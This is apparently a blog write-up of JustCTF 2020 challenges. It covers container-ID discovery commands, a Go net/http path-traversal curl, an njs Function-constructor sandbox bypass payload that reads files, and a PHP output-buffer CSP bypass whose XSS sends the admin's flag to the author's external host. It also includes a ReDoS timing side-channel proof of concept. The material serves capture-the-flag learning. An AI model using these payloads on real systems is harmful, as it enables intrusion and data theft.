Leohearts

拥有一颗坚强而又温柔的心 *version 1.1

cover

JustCTF 2020 Writeup & 复现笔记

体验超好, 学到很多
这才是高质量的比赛嘛
Really a nice game!

太菜了没做出来几个题qwq

MyLittlePwny (PWN, MISC) (EASY)

`uniq flag`

Forgotten name (MISC, WEB)(EASY)

search jctf.pro on crt.sh

D0cker (PWN, MISC)(MEDIUM)

First blood :)

回答问题给The Oracle

  • CPU: cat /proc/cpuinfo
  • Own container ID: basename $(cat /proc/1/cpuset)
  • Secret file: Crtl-Z (stty -echo raw;nc xxxx port when starting nc)
  • Real path: mount
  • Other's ID: Just start another instance ==
  • The Oracle's ID:

    ls -alc /sys/kernel/slab/sock_inode_cache/cgroup/ | grep -E -o '[0-9a-f]{64}'

    How I found it:

    find / | grep -E '[0-9a-f]{64}' , and mount says cgroup is a mount so it may contains something outside the container.

    Or just find / | grep -E {your container id}.

接下来就是我没做出来的了 qaq

↓ Unsolved :(

Remote Password Manager (FORE, MISC) (MEDIUM)

Dump mstsc.exe from the image to extract the screen;

img

but I failed running volatility imageinfo...

Go-fs (WEB)(MEDIUM)

GO-FS - intended solution was https://github.com/golang/go/issues/40940

GO-FS - unintended:

$ curl --path-as-is -X CONNECT "http://gofs.web.jctf.pro/../flag"

I have'nt understand the intended solution :(

The unintended solution is from a feature from net/http/server.go

line 2354:    // CONNECT requests are not canonicalized.

njs (WEB)(MEDIUM)

A 0-day?!

Right, a 0-day. I got [function Function] with:

curl http://127.0.0.1:8000/ --data-raw '[{"op": "add", "x": "2"}, {"op": "addEquation", "x": "toString", "y": "split"}, {"op": "addEquation", "x": "toString", "y": "constructor"}, {"op": "result", "x": "return 233"}]'

but it's disabled by njs engine for security.

So this is a bypass, or, a bug.

Exp:

requests.post("http://0z95magh4w9df1tgqtpybrxjakysr9.njs.web.jctf.pro/", json=[{"op": "toString", "x": "constructor"}, {"op": "toString", "x": "constructor"}, {"op": "result", "x": "){return require('fs').readdirSync('/home')+'\\n'+require('fs').readFileSync('/home/RealFlagIsHere1337.txt')})//", "y": "return this"}, {"op": "result"}]).text

From https://github.com/nginx/njs/blob/f5d710bdc0cd4ab51fb26302a6e391c2d17dbb5b/src/njs_function.c#L914 :

There's a string concat:

    njs_chb_append_literal(&chain, "(function(");

    for (i = 1; i < nargs - 1; i++) {
        ret = njs_value_to_chain(vm, &chain, njs_argument(args, i));
        if (njs_slow_path(ret < NJS_OK)) {
            return ret;
        }
    ...

So make a Function with "){code}) can bypass the limit and create a function. Then just execute this[result].

There're 7 teams solved this, orz :

Baby CSP

code:

<?php
require_once("secrets.php");
$nonce = random_bytes(8);

if(isset($_GET['flag'])){
 if(isAdmin()){
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: DENY');
    header('Content-type: text/html; charset=UTF-8');
    echo $flag;
    die();
 }
 else{
     echo "You are not an admin!";
     die();
 }
}

for($i=0; $i<10; $i++){
    if(isset($_GET['alg'])){
        $_nonce = hash($_GET['alg'], $nonce);
        if($_nonce){
            $nonce = $_nonce;
            continue;
        }
    }
    $nonce = md5($nonce);
}

if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
    header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
    echo <<<EOT
        <script nonce='$nonce'>
            setInterval(
                ()=>user.style.color=Math.random()<0.3?'red':'black'
            ,100);
        </script>
        <center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
        <p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
    show_source(__FILE__);
}

// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile 

Dockerfile shows this runs php-7.4 with php.ini-development, which enables Warning.

Obviously ?user has an XSS. We can get a XSS within 23 bytes like:

<svg/onload=eval(name)>

but it seems impossible to insert a nonce then.

PHP output buffer

PHP has a default output buffer size with 4096 bytes. If this buffer got full it will be printed.

And after an output header() will fail.

with a invalid $_GET['alg'], hash() will show a warning like:

Warning: hash(): Unknown hashing algorithm: qaq in /var/www/html/index.php on line 21

So we can fill the buffer with $_GET['alg']:

curl 'https://baby-csp.web.jctf.pro/?alg='(string repeat -n 1000 a)'&user='(urlencode '<script>alert(1)')
<script>
    name="fetch('?flag').then(e=>e.text()).then(t=>{fetch("https://leohearts.com:2333/"+t, {'mode':'no-cors'})})"
    // name => window['name']
    location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('1000');
</script>

Really a nice challenge.

Computeration Fixed (WEB)(HARD)

A totally offline app?
let notes = JSON.parse(localStorage.getItem('notes')) || [];
function clearNotes(){
    notes = [];
    localStorage.setItem('notes', '[]');
    notesDiv.innerHTML = '';
    notesFound.innerHTML='';
}
function insertNote(title, content){
    notesDiv.innerHTML += `<details><summary>${title}</summary><p>${content}</p>`
}
for(let note of notes){
    insertNote(note.title, note.content);
}

function searchNote(){
    location.hash = searchNoteInp.value;
}

onhashchange = () => {
    const reg = new RegExp(decodeURIComponent(location.hash.slice(1)));
    const found = [];
    notes.forEach(e=>{
        if(e.content.search(reg) !== -1){
            found.push(e.title);
        }
    });

    notesFound.innerHTML = found;
}

function addNote(){
    const title = newNoteTitle.value;
    const content = newNoteContent.value;
    insertNote(title,content);
    notes.push({title, content});
    localStorage.setItem('notes', JSON.stringify(notes));
    newNoteTitle.value = '';
    newNoteContent.value = '';
}

It's not a xss challenge.

No server, not URL reflect...then how to get a data from this page?

After a short view I noticed the RegExp search.

Like SQL blind injection and XML DoS, RegExp can also lead to dos like:

Details of the Cloudflare outage on July 2, 2019

An available payload for ECMAScript Engine can be

^[flag_prefix].*.*.*.*.*.*.*.*.*X$

change src of iframe to trigger onhashchange, we can get a ReDOS.

And the next problem is how to measure the execution time.

My approach

In chrome, iframe in another domain will use another process, so we can occupy multiple cores to 100%, then benchmark before and during the redos.

It turned out to work! But it's late in UTC+8 and i went sleep after I tried this(subdomains do not count) ::

Poc:

<head>
</head>


<body>
<iframe style="width:100%;height:100%" src='https://computeration.web.jctf.pro/' onload="go()"></iframe>
<script>

function benchmark() {
    var s = new Date().getTime();
    'flag{ldwsaiudwhauwduiusdhaudnsa}'.search("^f.*.*.*.*.*.*.*.*.*b$")
    var end = new Date().getTime();
    return end - s;
}

function report(st){
    console.log("https://leohearts.com/s/" + encodeURIComponent(st),
        {"mode": "no-cors"}
    )
}

function benchmarkReport(){
    report(benchmark())
}

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

function createDummy(i){
    list = ['a', 'b', 'c', 'd']
    var newif = document.createElement("iframe")
    newif.src="http://"+list[i]+".leohearts.com/dummy.html"
    document.body.appendChild(newif)
}
report(navigator.hardwareConcurrency)
async function go(){
//     createDummy(0)
//     createDummy(1)
//     createDummy(2)
//     createDummy(3)
    regex = "^a.*.*.*.*.*.*.*.*.*.*.*b$";
    report(benchmark())
    report(benchmark())
    report(benchmark())
    report(benchmark())
    report(benchmark())
    report(benchmark())
    report(benchmark())
    console.log("Staring redos on iframe...")
    document.querySelector("iframe").src = "https://computeration.web.jctf.pro/#" + encodeURIComponent(regex+"$")
    var n = 30
    while (n--){
        report(benchmark())
    }
}
</script>
</body>

The server has 8 cores so I need more domains to occupy CPU. Onmy machine it works.

Official WriteUp

Busy Event Loop (A nice article!)

onhashchange event blocks page load, so measure time using onload can get the execution time.

code from official writeup:

async function start(flag){
    console.log(flag);
    // for every letter in the alphabet, try to extended the flag with it
    for(let c of alphabet){
        // After 500 ms, remove the iframes, set the URL with the extended flag
        // send a message to the parent about found prefix, and reload the document
        // to restore the blocked thread
        let trynew = setTimeout(async ()=>{
            iframe.remove();
            iframe2?.remove();
            let url = new URL(location.href);
            url.searchParams.set('flag', flag+c);
            parent.postMessage(flag+c,'*');
            await sleep(50);
            location.replace(url.href);
            return;
        }, 500);

        // try to find another letter, if it is fast enough, the above setTimeout
        // will be cleared, else, it will trigger.
        let res = await checkPrefix(flag+c);
        clearTimeout(trynew);
    }
}

Learned a lot. Thanks to justCatTheFish team for such a high-quality game!